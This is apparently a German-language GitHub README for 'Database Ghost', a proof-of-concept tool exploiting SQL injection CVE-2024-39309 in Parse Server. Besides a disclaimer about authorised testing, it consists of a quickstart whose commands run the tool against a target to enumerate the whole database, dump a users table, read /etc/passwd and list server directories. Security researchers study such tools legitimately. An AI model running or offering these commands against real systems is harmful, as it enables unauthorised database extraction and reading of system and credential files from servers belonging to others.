heavyghost-le/poc_sql_injection_in_parse_server_prior_6.5.7_-_7.1.0Erweitertes Tool zur Aufzählung von PostgreSQL-Datenbanken, das CVE-2024-39309 in Parse Server ausnutzt - Umfassende SQL-Injection-Ausnutzung für die Sicherheitsforschung
Database Ghost 🔥 Fortgeschrittenes PostgreSQL SQL-Injection-Exploitation-Tool
🚨 HAFTUNGSAUSSCHLUSS NUR FÜR AUTORISIERTE SICHERHEITSTESTS Unbefugte Nutzung ist illegal. Verwenden Sie das Tool nur auf Systemen, die Ihnen gehören oder für deren Tests Sie eine ausdrückliche Genehmigung haben.
⚡ SCHNELLSTART Installation und Ausführung
git clone https://github.com/HeavyGhost-le/POC_SQL_injection_in_Parse_Server_prior_6.5.7_-_7.1.0.git
cd POC_SQL_injection_in_Parse_Server_prior_6.5.7_-_7.1.0
pip install requests
chmod +x star_ghost_english.py
# Full database enumeration
python3 star_ghost_english.py -u http://target:1337 -a your-app-id
# Enumerate specific table
python3 star_ghost_english.py -u http://target:1337 -a your-app-id -t users
# Read specific file
python3 star_ghost_english.py -u http://target:1337 -a your-app-id -f /etc/passwd
# List directory contents
python3 star_ghost_english.py -u http://target:1337 -a your-app-id -d /var/www
# Read common system files
python3 star_ghost_english.py -u http://target:1337 -a your-app-id --read-system
# Enumerate specific schema
python3 star_ghost_english.py -u http://target:1337 -a your-app-id -s custom_schema